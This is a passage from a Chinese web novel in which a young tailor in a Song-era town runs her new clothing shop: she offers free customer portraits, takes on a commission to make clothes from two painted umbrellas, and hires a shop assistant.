张木生有理有据,“我们水囊是用猪小肚做的,那个简单,往里面灌水再用绳子绑紧就成。但是水袋很贵,是整张皮子剥下来,有头、四肢五个地方要绑,剥得不好边缘会裂开,就得自己补。水袋一次要装百来斤的水,能灭不少家中的小火,有时候路上裂了,没有人手补,漏了许多,水袋就不能用了,我们灭火也很麻烦。” “可我想着,那对于着火的人家来说,亏损太多太多了。从前是没人能补,这会儿子不一样了,我这腿伤了,又不能光吃白饭是不是,趁这段日子来向姐你讨教讨教,我可不白学,什么报酬都行。” 张木生躺床上养伤时,想了许久,他真不想废人,脚不大好用,那就暂时给自己谋划别的出路来,他一定要成为有用的人,在很多时候都能被用得上的人。 这是他深思熟虑想出来的法子,哪怕以后腿再次受伤,他也可以顺理成章留在潜火队里,干着补水袋的活计。他此时非常骄傲,自认为很有头脑。 金裁缝听完,感慨一句,“人不可貌相啊。” “是啊,我就可以貌相,一看我这貌,那是相当的高,”张木生赶紧接话。 林秀水想说,歇歇吧,看不出来一点。 非要说的话,黑色显瘦,显得这脸相当瘦。 她手握杯子,摩挲着边缘,思索教张木生缝补皮子能成吗?开了铺子以后,她的重心渐渐移到做衣裳上,缝补的活计便少了,孙大和宋三娘也不大给她接了,只是转而给她卖纱袋、绢孩儿等物。 可她想想,确实能教人缝补啊,一次教一种,还能收点钱,可像张木生这种,林秀水则放下杯子说:“行,你要真想学,我教你几手,保管你能在养伤时,把皮子给缝好,水袋不会漏。” 其实张木生粗手粗脚的,并不大适合拿针线,可他有两点好,力气大,扎硬 皮子很容易,第二点是,他娘和阿奶是双线行里做鞋子的,他走线会比较直。 林秀水让他先拿两块粗布,一根粗针加麻线,把两块粗布缝起来先。 张木生给自己找了个酷刑,被针戳得吱哇乱叫,下意识想蹦起来,又因为伤腿不得不坐下来,他扎一下哭一下,哭得泪流满面,腿之前断了都没哭得这么厉害过。 可一听他爹语重心长地说:“这行我们不干了,当什么潜火兵,听起来很风光,可命都要交代在里面。你爹我又不求你有多大的出息,你就算以后上街要饭,留条命在,我都说你光宗耀祖了。” “老张,你别咒你儿子行不行,”张木生简直要跳脚了,他走到如今容易吗?天天跟个猴子一样上蹿下跳,就为了长高,好不容易长高,成了合格的厢军,月钱也多了,还靠自己救了两个人。 他难不成伤了腿就要自甘堕落,一蹶不振?就算真去要饭,他也一定是要得很多的那个人,当然他不会去的,去了桑树口大家怎么看他?他可是潜火兵,他要面子得很。 “老爹,你别说了,”张木生重重哼了声,“我这辈子做鬼也会留在潜火队的。” “我就不是当木匠的料,你小儿子也不是,他日日玩什么磕头把戏,你赶紧管管吧,免得真后继无人。” 张木匠一转头,他那小儿子糊了一身土回来,显然是给土地爷行了大礼,一个伤了腿在学缝补,一个好手好脚天天不干人事。他当真要被这两人气个半死,抽不了大的,还打不了小的吗。 这院子鸡飞狗跳,张木匠打小儿子,张木生时而被扎得哇哇乱叫,有邻舍在门口喊:“老张,你别打太狠了。” 张木匠根本没打到,平白背了一口大锅,更气人了! 王月兰也在屋里说:“老张咋回事,孩子伤了还打人。” 林秀水从外头走进来,拿了一叠纸样,侧耳细听,而后说:“没事,张木匠没打人,张木生练习杀猪功夫呢。” 她缝补是缝补,但张木生缝补是杀猪。 “嚎得那么惨,”王月兰有点不敢相信,“真杀猪的话,肉行得找上门来。” 林秀水将一卷黑色印团花的料子展开,挂在自己肩头,她给隔壁杂物店,有高低肩的刘三姐选的料子。 今日先到的,她低头细看,闻言又道:“那我正好出去,到肉行里说一声,叫他们赶紧来瞧瞧,有人虐待猪。” “我信你的嘴,”王月兰推推她,“赶紧忙你的去,我把饭给你送来,金裁缝回去了?” “没呢,我把布料给她瞧瞧。” 林秀水说完,抱了两卷布出门去,穿桥过街到铺子里去,给金裁缝瞧一瞧。 金裁缝摊开在桌上瞧了瞧,一卷黑色浅蓝底大团花的料子,另一卷是偏粉的小碎花纱料。 “这黑色做披帛和上襦,粉的做襦裙,刘三姐的身形稍显圆润,肩膀高低不同,黑披帛比绿的更能遮盖,而且她眉宇里是有些英气的,”林秀水挪了挪布料,将之上下堆在一块,觉得黑和粉的碰撞很合适。 金裁缝盯着看了会儿,倒是没有否认,只是说:“得做出来瞧瞧。” “不过颜色你倒是敢搭的。” 林秀水想着要有点突破,可是下了点功夫的,她又拿去问刘三姐,人家倒不算很满意,却觉得这配色有点意思,叫她做出来穿穿看,好坏都认。 林秀水打了纸样,开始初步的裁剪,剪下来没有送到裁缝作里,而是选择自己缝制,要花费一些工夫。 期间她缝好了一件上襦,从家里抱了猫小叶,出去前叫上小荷,“小荷,快过来。” 小荷赶紧跑出来,穿了件新做粉色上襦,一条白色纱裙,外面罩着一件绿色长短不一的宽飘片叶子裙,从短莲花瓣合围裙改成的。 莲花粉的合围裙盛行,最近苏木价钱炒成八百文一斤,染布价钱翻了许多,裁缝作里出了绿色长叶子款的,卖得不算很好,可倒有些人捧场,便做了下去。 小荷摆弄着新裙子,她捧着脸,将肉嘟嘟的脸挤到中间一块去,左右晃着脑袋,含糊不清地说:“真的要给我画到纸上吗?” “假的。” “骗人,”小荷跑到林秀水身前,她瞪着圆溜溜的眼睛说,“我们在家明明不是这样说的。” “可我们又不在家。” 小荷张大嘴,环顾四周,没在家里,在大街上。 她读书少,她说不过林秀水,只好气鼓鼓地说:“下次我拿针来。” “什么?” “针就是真的,”小荷有自己的道理。 林秀水终于忍不住笑出了声,双肩一耸一耸的,小荷又不记仇,也跟着露出笑容。 到铺子里时,广惠正摸摸自己的脑袋,蹲在街边茫然四顾,他当真要舍弃毫无建树,写得并不咋样的小报,转头到听起来颇有钱途的画匠一行吗? 林秀水当时是这么说的,“小报听起来很好,可是满地都是,对你而言赚不了钱,没有钱就养活不了六只猫,没法买猫鱼,买不了猫围兜…” “但转行试试做画匠,有钱赚,你可以养好六只猫。” 主要林秀水想找人画写真图,给做完衣裳的人留下一张专门的画。 可别的画匠画山画水画人,广惠一个画猫的要转行,画起人和衣裳来,广惠纠结,广惠自觉做不到啊。 他看见林秀水时,一蹬腿站起来说:“我当真做不到啊,我只会画猫可咋整。” “别担心。” 林秀水叫小荷坐下来,顺手把皮毛光亮的猫小叶放下来,她拍拍手,“这下可以画了吧?” 广惠跟猫小叶对上眼,他喃喃自语,“能画,不就是人吗?你叫我画成猫脸人身的都可以。” “不可以!”林秀水炸毛。 不过还好,人猫姐妹第一张写真画,至少是人和猫的组合,不是猫人。 第78章 第 78 章 人生写真初体验 “画完了!” 广惠停下画笔, 花了大半个时辰才画完这张写真画,小荷累得靠在椅子上,双手推推猫小叶, 而林秀水双手接过画纸,走到二楼屋檐下对着光瞧。 她看一眼,揉揉眉心, 再看一眼,猫是活灵活现的猫,根根毛发分明,体态、睁大的圆眼睛, 上翘的尾巴,画得极为细致。 坐在椅子上抱着猫的小荷,只能看出是个大胖妞, 还秃头。 不知道他从哪学的画法,除了是个人,其余跟本人半点不相关。 小荷也跑过来,踮起脚来看,她仰头问:“我在哪?” 广惠大感伤心,他举着笔跑过来说:“除了一猫外,不就只有一个人, 还能看不出来?” 林秀水同小荷齐齐摇了摇头, “看不出来。” “我就说术业有专攻, 隔行如隔山, 而我只是一个画猫的,猫跟人不相通啊,除了我叫它们逆子的时候,”广惠眺望远处, 面色凄凄惨惨。 “少来,”林秀水啧了声,转而语重心长地说,“这画人不是又 有个词,叫作工写貌,貌又通猫,怎么不算相通?说明你就是做这行的人才,多画画,自然会好的。” 广惠一听,这话说得在理,虚心讨教,“那我该怎么做?” “学。” 画技可以,画人拿不出手啊,林秀水本来想得挺好,广惠便宜,在她这做衣裳,到时候附赠一张写真画像,打出点不一样的噱头来。 压根想太多。 至少画人想画得神采飞扬,人物形似神似,还有一段长路要走。 广惠琢磨着上街看看画样貌的老师傅,风风火火下了楼,三两步跑出门槛外去。 林秀水慢吞吞走下来,靠着墙边走,背在身后的手握着那卷画纸,到楼底下掀开帘子给金裁缝看,金裁缝笑得前仰后合,差点撞到桌角边的针线盒。 “你可别心急,眼下生意虽说不算顶好,一日有十来件,二十来件的衣裳要做,比一般的裁缝铺强得多,”金裁缝收了笑,抚了抚鬓角,翻开册子,递过去给林秀水,手顺着那一页划下来,“诺,今日来做秋衫的,有十二个。” “我瞧瞧。” 林秀水接过来,水记全衣刚开业,生意一般,来来去去人挺多,做衣裳的不多,她拿起册子扫一眼,十二个有五六个还是从前到她改衣裳的娘子,做的回头生意。 她有些急,即使进账不多,每个人要做的衣裳,都定下七日后来取,怕来不及做,只收取一半的定钱,可买料子却得先付钱,林秀水裁缝作里赚的钱,都拿去买料子了,一个人做衣裳要两三匹料子,她得买十几二十匹布,难免捉襟见肘。 再也不是买铺子前,钱袋满满,一摸一大把碎银子的她了,她眼下只能摸到稀稀拉拉的铜板,就盼着裁缝作发“赈灾银”。 林秀水把册子放桌上,记下要买的料子,隔壁刘三姐走过来,此时临近黄昏,见屋里只有两个人,便急走两步问:“小林娘子,金师傅,衣裳做好了没?我等着穿呢。” “要等明日了,”林秀水搁了笔,“上襦做好了,裙褶还没烫好,得等一等。” 刘三姐在铺子里原地走了两步,“我就等着穿新衣呢。” “那你穿了试试,”金裁缝说完,取出里屋挂着的上襦和裙子。 黑粉的颜色很别致,刘三姐摸了摸这条粉色小团花裙,她穿上前说:“我六七岁时穿过粉的,二八年华都没穿过,可这会儿早已到二十八了。” “粉又不挑岁数,到你三十八能穿,四十八能穿,五十八六十八想穿都行,赶紧换上瞧瞧,”金裁缝的话在寂静里冒出来。 刘三姐哎了声,跑到二楼穿好,她试了试,又拉扯着胸上的裙子,林秀水给她调整肩上的黑色蓝底团花披帛,从左肩垂挂下来,拉到裙底,另一头搭在右手的肩肘上。 “我这样瞧着行吗?”刘三姐抬了抬手,又看自己穿的粉裙子,迈不动步子。 当她照到镜子时,镜子里的脸显得格外吃惊,仿佛那不是她自己,她转了转,粉色的裙摆飘扬。 她又弯腰凑进去瞧,粉色并没有显得她很憔悴,她好像回到了很年轻的时候,肩膀的披帛让她忘记了自己高低不平的肩膀。 刘三姐都不想脱下衣裳,她左手拉林秀水,右手握住金裁缝,“我肯定会给你们两个介绍生意的。” “我叫我所有认识的人都到你们这做衣裳。” 金裁缝有点兴趣,“你认识多少人?” “几百上千人吧。” 林秀水反握住她的手笑了声,“那我们就等着了。” 刘三姐很豪气地说:“等着吧,我肯定叫大家都来做新衣。” “谁说新衣,”有个小孩迈进门槛,她稚气地说:“我也想穿新衣。” “我娘在这里给我定了件秋天里才能穿的衣裳,”小女孩很疑惑,“我家里有棵桂花树,我娘说它到秋日里会开花,昨夜里它就开了小花,秋天来了,怎么衣裳还没有来?” 这小女孩叫作金桂,她娘在这条街上卖生莲子、莲藕、鲜荷叶的,前两日她娘带她来定衣裳,金桂会跑来在铺子前转两圈,瞧瞧她的衣裳做好了没?一听没有,脑袋便耷拉下去,踢踏着裙摆,一步一步走开了。 林秀水受不住金桂眼巴巴的神情,赶紧道:“桂花还没全开了,等它再开一会儿,你的新衣也跟桂花一块到了。” “那我去催催桂花,叫它明天早上醒一醒,”金桂如此说。 金裁缝说:“好样的,它要不开,我去帮你扇一扇它。” 桂花需要光,耳光子也是光。 一老一少讨论起如何让桂花开得更快,林秀水默默补上,不如她去催一催更快。 裁缝作自从织巧会接了百来个人的单子后,自此越发不得了,活多得吓人,从前一条相同的裙子来回做,到这会儿是没有一条相同的。 但银钱涨了又涨,大家也毫无怨言,尤其接林秀水的活,料子选好了,打样打好了,只剩缝补,活计很轻松,就是催得紧。 “没法子,”林秀水蹲在桌子旁边,双手合十,“大家想穿件衣裳不容易。” “别催了别催了,”一个老裁缝喊,“天呐,你到底是从哪里揽的这么多活啊,我这半个月缝了我之前一个多月的活。” 另一群运粉布的娘子从门前经过,也大声附和道:“可不是!我从前运布一天一趟,眼下运布一天十趟。” 别家成衣铺、裁缝作都已经想桂花样式的衣裳,想着多在上头花心思,立志要做跟莲花不同的裙子来,盛行全镇。 可顾家裁缝作没有贸贸然地做新衣,依旧照着莲花的样式来,打算在上头专精。 让很多老裁缝都多想点法子。 有人管抽纱和缝补,林秀水则在裁缝作里有相对充裕的时间,来想下一步的衣样。 不过最近她风头正盛,大家都盯着她,她倒没有出很新奇的衣裳,反而中规中矩起来。 都不知道她葫芦里卖的什么名堂,只有林秀水自己知道,等她再穷一点,没钱可用的时候,那时候估摸着被钱所迫,就什么衣裳都想得出来了。 这会子,她找画匠呢。 广惠暂时是靠不上了,所幸她认识的人,织巧会上认识个四十二岁的娘子,其实她不是画匠,只是个捏面人。 捏的惟妙惟肖,照着人脸捏相当像,后面自学了画人,她自嘲说自己是个市井里没有名姓的画工。 林秀水寻着路赶过去时,张顺娘没有出摊了,在院子里洗衣裳。 “请我做画匠?画人去?”张顺娘拧干手里的衣裳,她摇摇头,垂下眼皮看手里的衣裳,平静地说,“我可画不来,就是自己胡乱画几笔,上不了台面的东西。” 她挥挥衣裳,不为所动,家里为她买些画纸的事情,吵了又吵,叫她别画这种东西,瞧着就渗人,把人画到纸上,又画得这么像,跟摄魂一样。 到时候两边邻舍有人受了惊,都要怪她的。 林秀水伸手帮她一道拧衣裳,自顾自地说:“一碗冷饭加水,都能上得了桌面,画像有什么上不了台面的。” “我那边要画像的人,会画头脸和衣裳的,一个月有两贯银钱,只早上和下午画,其余夜里不耽误娘子你出工。” 张顺娘闻言看到屋里,她有点心动,这比她做面人赚得要多些,可她又犹豫,她走不出家门,拒绝的话又没法脱口而出,只好一遍遍拧着衣裳。 “娘子你想想,要是想好了,明日早上到桑桥渡东边那一排的铺面里找我,打听下水记全衣,不来也没事,”林秀水帮她拧完衣裳,留下句话便走了。 等她走后,张顺娘没闲着,在家里干活,给鸡喂谷子的时候想这事,扫地的时候想,洗几口大缸,脑袋伸进缸里的时候想,做一大家子饭,累得腰直不起来时想,夜里听着旁边震天响的呼噜声在想。 想来想去,想得一夜没合眼,该和的面也没和,径直出了门,也没划船,只管走路,一直走,走了很久,到桑桥渡时天亮起微光,她找到了水记全衣,静静地坐在台阶上。 林秀水走过来, 倒也不吃惊,只是问她,“娘子你吃了没?” “在吃了,”张顺娘从兜里掏出饼,咬了一大口,又取下背着的包袱,拿出一叠粗糙的纸递过来。 是一叠画像,林秀水一张又一张翻看,颜料不是好颜料,上的色很快褪了,墨汁还很清楚地留在上头,画得很细致传神,每个人的眉眼神韵抓住了。 虽说笔法并非很好,有时也显得粗糙,可对于林秀水来说够用了。 张顺娘用力咬着饼,在嘴里嚼完后,像是下定了某种决心说:“我可以画。” “那先画上一日,我瞧瞧好不好,好得话明日就来画,”林秀水将画还给她,让人先试试。 张顺娘也确实能画,她最好的一点在于,能用很短的时间画好人的眉眼,叫人一眼看上去就觉得像。 林秀水说:“这是一种很值得称赞的本事。” “是吗,”张顺娘看她,又擦着画笔,她不清楚。 到了转日,林秀水将一大半定好的衣物,跟金裁缝一起按每个人的需求,成套摆放好,挂在衣架上。 金桂是开门后第一个来的,她小脸红通通的,眼睛亮亮,跑进来就往墙上瞧,她啊了声,蹦起来,“这是不是我的新衣裳?” 那是一套黄绿配色的衣裳,上面的浅黄色交领上襦,领抹绣有一簇簇桂花,而下裳是墨绿色打褶裙,如同叶片的颜色。 “是你的,试试吧,”林秀水取下来给她,不枉她早上特意拿出来挂得高点。 金桂没换,而是跑出去,过了会儿拉她娘进来,让她娘看着换,看她穿上新衣裳,她怀抱着极为喜悦和忐忑的心,穿上这套衣裳。 她不敢大步走,只在镜子里看自己的裙子,小手捂住嘴,笑意和喜欢却从嘴角跑出来。 林秀水整理着其他衣裳,停下手后说:“在我们铺子里头次做衣裳,可以送一次自画像。” “什么意思?”金桂她娘不解,“还要钱吗?” “当然不用。” 林秀水笑着说:“这是送的,可以将穿新衣的样子永远留在画上。” 她也如此对后面来试衣裳的人说。 有母女,有姐妹,有像金桂这样的小孩,有年迈的老人。 她们在水记全衣里留下了第一张画像,是人生里头一次被记录下来。 那是种别样的人生体验。 当然对于水记全衣而言,有了不小的名气,也因此有了纷至沓来的活计。 第79章 第 79 章 铺子招人 “这上面的人是我呀!” 金桂捧着薄薄一张画纸, 一会儿低头看画,一会儿又将头扭到右边去,从二楼窗边凳子上架的镜子看自己的脸。 反复十来次, 才终于发出雀跃的确定。 她都不曾仔细照过几次镜子,也不大熟悉自己的模样,却有了一张自画像, 金桂小小的心里,充盈着不知名的喜悦。 “我要攒钱,”金桂拉一拉她娘的衣角,凑到她耳边说, “娘,我们多多卖些莲子,给你做一身衣裳, 叫小娘子也送你张画像。” 她娘笑骂,“你个傻丫头,画张画才几百文,做身衣裳要几贯银钱,你这是买咸鱼来放生,做亏本生意呢。” “那怎么是这个理,新衣裳穿身上, 又白送一张画像, 这叫净赚, ”头上绑着红包布的女子说, “不多做几身,反倒是真亏了。” 她家里有两个女儿,一个老娘,两个亲妹, 四个至交好友,今年秋衣还没做,等她的画像成了,到时候全怂恿她们过来,到这里做衣裳。 此时她正等着二楼隔间的人换衣裳出来,她好进去换上,外面倒是有椅凳,可都没人坐,倒把簇新的衣裳搭上去,心急如焚,想早早画到自己,平生头一次上相呢。 张顺娘也平生第一次画这么多的人,她看似面不改色,实则心里抖得慌,可她暗地里画了许许多多张画像,一到落笔很顺畅。 她必须给人画好,她想干这份活计。 里面画着,外面一群人站在过道上,有手拿自己带来的执镜,对着光,左右脸转动照了又照的,皱了皱眉,有娘子拉扯自己的裙带,叹口气说:“还要多吃点,瘦得裙带绕三圈。” 楼梯拐角处走上来一高胖妇人,提着大木盒,走过来问:“有没有娘子要梳发的,我什么发髻都能梳,飞天髻、高椎髻、双蟠髻、流苏髻,小孩的也能梳,双丫髻、三丫髻,十几到三十几文钱,有用得着喊我一声。” 陈桂花站在原地,只等有人说要梳发,好立即拎起木盒跑过去,林秀水叫她来吆喝做生意,多赚点钱的,说她这里人多,难免有要梳发的。 她见众人转头来瞧她,又没有开口说要梳,掰开盒子从最上面一层取出小罐子,走了几步说:“我这还有护发的木樨油,洁鬓威仙油,先试试也成。” 陈桂花无比艰难地吐出来一句,“不要钱。” 她陈桂花要赚大钱,舍小钱,根本舍不了,一文钱也是钱啊。 终于有娘子说:“试试吧,这鬓角能梳好吗?” “那不用油也能给梳好,”陈桂花提起箱子过来,放到凳子上,拿起木盒里的发刷,指挥人坐下来,捧着脸就将人娘子那叉出来的头发梳得光溜,还顺着额前头发梳,将人扁塌塌的发髻,梳得显着蓬松许多。她嘀咕,“半点毛都冒不出来。” 而这不过三两下的事情,看得其他娘子一愣,跟早上见到张顺娘蘸墨提笔,坐下来后寥寥数笔就将人刻画在纸上的惊诧一样。 “要不,”有位站角落边的娘子心动,“你也给我梳个头,瞧瞧我梳什么发髻合适?” 陈桂花又嘚嘚嘚走过去,“大盘髻就很合适,用丝网给绑好,头发缠五圈的,不好你找我。” 等林秀水上楼,陈桂花身边围了一圈人,她听了几耳朵,全在问梳什么发髻好的。 没人关心她过来,到了另一间靠窗的屋子里,又一群人看张顺娘画像,时不时发出惊叹的咦咦喔喔,难以相信这是人的嘴巴能发出来的声音。 穿上新衣,坐下来等着画像的人心里美滋滋,那夸赞就跟夸她们自个儿似的,尤其画像一到手,众人便围上来,仔仔细细瞧了说:“真像,颇有一番神韵啊。” 这画像有两份,一张一尺来宽的带回去,一张手掌大小的留在铺子里,注明谁于某年某月在此画像。 画像会美化人,还会美死人,一美大家就高兴地掏钱,要再做新衣。 “我知道的,阿俏你对姐好,姐也不亏待你,”有个清瘦娘子举起自画像,“我这辈子头次画像,头次知道我这脸原来在旁人眼里是这样的。” “我长得咋那么好看。” “你等着啊,我家里钱不多,就人多,我找我七大姑八大姨都来你这做衣裳,把你捧成名缝。” 林秀水听得心里发抖,这姐是不是瓦子里戏曲听多了,那口气不像给她介绍生意,像招呼她七大姑八大姨来上门弄死她的。 还有名缝是什么东西啊? “说的啥话,让我讲两句,”有个梳高发髻,涂脂抹粉的女子过来,靠在柜子前问,“我呢,有两把顶中意的伞,八十四骨的,一把伞面是水墨画,一把是油绿的,上面提了诗词。” “我想把这把伞做成配套的衣裳,穿着过来,再打伞画到纸上。” 林秀水听完,转头看金裁缝,金裁缝倒是面不改色,半点不惊讶,时下崇文,有不少富贵人家女子喜欢诗词,会请人题诗在衣物上,倒也很是风雅。 “伞拿来瞧瞧先,得看能不能做,”林秀水又写不好字,要是太难她就拒了。 这两把伞真不愧是八十四骨的好伞,伞面是绸绢做的,一把水墨画伞,林秀水看得抬了抬眉,山水墨色做衣,能做出来的话,黑白两色也可以很出彩。 至于另外一把油绿伞,诗词是竖着写的,字迹大气,她看不懂是什么字。按伞面来做衣裳,一定要保留诗词,分布排列,如何在有诗词时仍旧让衣裳有美感,而又不会褪色,相当难。 林秀水很有兴致,越难的衣裳越有挑战性。 她蹙眉细思后才说:“能做是能做,要花不少日子,起码得半个月,可能还要花费更多时日,价钱也贵,两件十五六贯打底,有些料子要专门做。” 市面上黑布大多是纯黑的,水墨扎染的布没有,且诗词得请人来题。 这红娘子一听,欢喜拍手道:“竟是能做,那就交给你做了,我去了不少裁缝铺和成衣铺问过,那边全推辞说做不了,晚些我去拿了定钱给你。” “你可一定一定要做出来啊。” 林秀水跟鹦鹉学舌一样,她学着红娘子的语气说:“我一定一定要做出来啊。” 金裁缝率先笑的,剩下娘子便哄堂大笑,笑到楼上等着画像的人噔噔蹬跑了两三个下来,掀开帘子三个脑袋叠在一块瞧。 这种棘手活,林秀水压根不急着做,急也做不出来,她将记好的东西压在册子下面,先接其他的活。 她回复问她话的老太太,“旧布可以拿来做衣裳的,看旧成什么样子,如果是折边磨损的话,排料的时候避开这部分。” “旧的太厉害也没事,可以加染,原先什么颜色加染什么色,拆改一下,布自己出的话,我们只收五六百文钱。” 老太太有三匹压箱底的布,总找不到好裁缝来做,前几日在水记定了一身衣裳,今日穿得服服帖帖,料子又好,便动了用旧布来做衣的心思。 闻言不免高兴地连连点头,“好好,闺女你等我拿来给你瞧瞧。” “哎,不急,到时候叫我们老金师傅给阿婆你做,”林秀水冲金裁缝眨眨眼。 老金师傅没辙,她说:“老姐姐,你叫底下孙子扛着布,明日上这来找我就行。” 几人商议着,边上有大娘挑剔起料子来,“这料子咋那么贵?一匹要五贯啊,我一年赚赚嘛,也赚不了那老些钱,这年头钱是真不当钱用啊。” “可不是,”林秀水顺着她的话附和,“都说绢布当钱使,我说那都是骗钱的鬼话。” “布那么贵,穿都穿不起。” 把人大娘说得一愣一愣的,咋把她的话给抢了。 林秀水又走过去,拿起料子来说:“贵是真的贵,这是缎布,南京来的,缎以那里的为好,平江府都要差些,一匹确实贵不少,人家质地在那。 ” “可南京布跟我们隔得远嘛,布远的话就是不亲近,那像我们镇里今年蚕桑织的细绢布,这土生土长的,跟我们亲近,价钱也便宜, ”林秀水绕到另一边,点点一匹水红的细绢布,“这才要一贯八钱,大娘你长得嫩,水红色穿起来好看,再搭点其他的布料,一身做下来,也就三贯出头,送你张画像,再送一条领抹,要是哪日穿得不合身,我们免费给你改。” “真三贯呐,”那大娘摸了摸细绢布,料子比她自己花冤枉钱买的好多了,她一个没留神说:“那做一身呗。” 说完想抽自己一嘴巴子,明明说好来前,就看看布料的,哪哪都挑一番刺,价钱那么贵,谁要做衣裳啊。 话是这么讲,形势不由人啊。 她稀里糊涂一听,头脑发热,小娘子话又说得那么好听,布价钱实惠,还送她东西,她没忍住。 “大娘下回再来啊,”林秀水冲她离开的背影道。 大娘捂着钱袋子,头也不回地走了,她再也不会来了。可结果是有一就有二,有二便有三,事不过三,过了三次,她往后都在这定的衣裳。 林秀水说她是本地布大娘,因为人家从此之后只要本地布。 今日生意很好,要做衣裳的活很多,林秀水很能讲,金裁缝更不逊色,她随口能将一块料子从哪来的,做工织工、花色、新旧,到人家适合穿什么颜色,要多少尺寸的料子,不用细思就能说得明明白白。 人家没打算在这做的,听两人一阵忽悠,胡乱点头说做一身。 总共有四十几套衣裳,林秀水收了三十多贯的定钱,加上这批做好的衣裳,收回来一半的定钱,加起来有四十五贯了。 虽说都得拿去买布料,钱在她手里过不了几日,可她就是很高兴。 “不买布了?”金裁缝扭头看她这模样,先是笑,而后整理着布慢悠悠地说。 “买啊,”林秀水晃了晃胳膊,捶打着腰,“还得买油布呢,今年春三个月做油布手套,夏天生意不好,秋冬又可以开始做了,絮点丝绵。” 做手套生意就是春做夏收,秋冬大卖,纱袋生意过了七夕后就不大景气,她就慢慢减量,手套再往上增。 她手底下还有一批靠她吃饭的人呢。 “得请个帮工,”林秀水喝了好几口水,“生意多,当真忙不过来,我又没法时时在这,老金,金老,你有什么好的人选不?” “少没大没小的,自个儿挑去,我认识的都听我的,你给钱不听你话,你亏不亏,”金裁缝靠在椅子上闭目养神,“挑个机灵点的,我帮你带带。” 找人这事还得请刘牙嫂,人家专门混这行的。 “你开铺子了!”刘牙嫂气道,“咋不跟我说呢,我好送你点东西啊,你看看你,老妹啊,你这是做得一点不地道,这是想跟我撇清干系是吧?” 只不过气不是真气,感慨倒是真的感慨,从前林秀水还寻她找成衣铺的活计,她领着这小丫头到顾家成衣铺里去,后来能跟她做生意,眼下真是越发不得了起来。 林秀水赶紧说:“撇不开一点啊,不然哪能找姐你呢,这用人的大事可不还得求你。” “求我。” “求你。” 刘牙嫂哈哈大笑,又收了笑道:“求我我就好好给你挑,不过实话跟你说,找人最难找。你想要个机灵点的,口齿伶俐的,像我们牙嫂这行,给人找针线供过、粗细婢妮,难有像你这样有本事且机灵的。” “最多的是手脚勤快,能听得懂人话的。” 在刘牙嫂生平所见里,能听得懂人话当真是算不错了,更多的是说东往西,一件事情要人家做,必须明确到走几步,拐哪道弯,一句话交代不清楚,事情做得一塌糊涂。 林秀水听完笑了声,她重复道:“就机灵点,跑上跑下能用得上的,我想找个年纪不大,十四五岁的,包两顿饭食。” “我给你寻摸寻摸。” 过了一日刘牙嫂带个瘦弱的小娘子来,指着她说:“口齿很伶俐,从前干的是打扫的杂活,我说瞧着挺好,你留下试试,不好再跟我说。” “娘子,我叫阿云,我可以扫地、擦桌、洗衣、兜卖,不会我能学,”那小娘子很会给自己争取,语气并不怯弱,“且留我三日试试,要是做得不好,我自己会走。若是觉得我还算个样,肯留我,我前一个月不要多少月钱,给我口饱饭吃就成。” 凭她话里有股心气在,林秀水说:“那你先试试。” “我们这里保管饭能吃饱,你能干的话,钱肯定不会少了你的。” 第80章 第 80 章 升官又发财 林秀水取出钥匙, 开铺门的时候问:“阿云,你吃了没?” “吃了来的,做重活也使得, ”阿云赶紧跟在她后头说,三两步迈上台阶。 “你记性好不好?”林秀水说完推开门,抱出门后的招幌, 她除了请人干点杂活,诸如挂招幌、收拾桌面、整理衣裳等外,记性好,会认人是关键。 铺子里来往许多人, 长得相像不在少数,金裁缝根本记不住,她能记得住喊人家名字, 记不住喊人家阿妹,老姐姐。更多的代称是那个想做整身红的娘子,来做窄衫长裙的厨娘,预备提前做冬衣的。 阿云帮着一起展开招幌,立即回道:“我之前在估衣铺做的打扫,帮着整理些衣物,来往人多, 记性还不算差。” “我爹是收各色豆子卖的, 我娘沿街卖做好的盐豆儿和豆儿黄糖, 我经常去帮着兜卖, 来买的有一二百熟人,我每个都记得住。” “老金师傅,你的帮手阿云来了,”林秀水朝路上走来的金裁缝招手, 等金裁缝走近后,才拍拍阿云肩膀说,“认人不错。” “蛮好蛮好,阿俏你把那画像拿出来,叫人认认,”金裁缝晃晃手里的一包糕点,“正好起早吃桂花糕,我过来时有人叫卖。” 三人进屋去,阿云原本极力保持镇定、稳重的神情,在看到那一叠画像后,她没崩住,发出小小一声惊讶的啊。 她手悬空在画像上,试探着点了点问:“这样认吗?” “哎,”金裁缝解开油纸袋,“就是这么认,叫小林店家好好给你说说啊,都是回头客,你要能记住,我晌午请你吃蜜蟹去。” 阿云低下头,偷偷咽了咽口水,她家里不吃蟹,吃得最多的是豆羹、豆粥。 “这是隔壁杂物铺的店家,叫作刘三姐,她喜欢别人叫她三姐,”林秀水坐下来,将第一张画像上戴披帛的刘三姐给阿云瞧。 阿云手放在腿上,眼睛凑过去瞧,她点点头说:“我记住了。” “这个扎高发髻的,她叫红娘子,但人家不喜欢红的,最爱绿色,带了伞来的话要将伞放到那处伞架上,她最近会时常过来。” “对街过桥的李阿婆,她是个老媒婆了,要是说给你做媒的话,你听听就行,不用搭理她,”林秀水从来都当耳旁风听的,媒婆到老了,走不大动了,嘴巴依旧好使,谁谁都想凑成一对。 期间金裁缝叫阿云吃了块桂花糕,林秀水带她先认了十个人。 “这是谁?”林秀水指着画像上的一对相偎在一块的母女。 阿云不假思索地说:“是在前街做豆腐的豆腐娘子,她闺女三岁,进铺子要管好她,她会扯衣裳会哭,来的时候要拿耍货给她玩。” 林秀水又随便抽出一张来,阿云看了看,才犹豫地开口,“这叫张厨 娘,她喜欢白地青花的衣裳,必须有围布,逢三和七日会来看新进的白地青花料子。” 林秀水毫不吝啬夸她,“这记性真好,把我说的话一字不差说出来了。” “老金师傅,晌午吃蜜蟹的时候,给阿云多加份别的。” “在我们铺子里干活,包一日三餐,想吃什么可以跟金师傅说,不用上街买,到点会有分茶酒店的人上门来问。” 她跟两家分茶酒店的伙计说好了,每日晌午和傍晚送饭上门,他们平日只要离得不远都会送上门,便是市食点心,四时皆有,任便索唤、不误主顾。 王月兰忙织锦的事情,小荷早去私塾,晌午被周娘子接回来,两个人都在铺子里吃的。 一个月伙食费大概在两贯上下,吃的有鱼茧儿、三鲜面、鱼油炸、骨头米脯、七宝棋子、笋粉素食、鸡脆丝等。 阿云听得一愣一愣的,她只是想先混顿饱饭的,怎么听起来全是好饭?有点难以相信,又颇觉得不安。 林秀水又说:“一个月有四日休息,月钱是一贯八,能做好的话,还可以往上加。” “我可以卖命,”阿云脱口而出。 “这里只收布,不收命,”金裁缝隔着帘子来了一句。 阿云脸腾地红了,“我可以卖命地干活。” 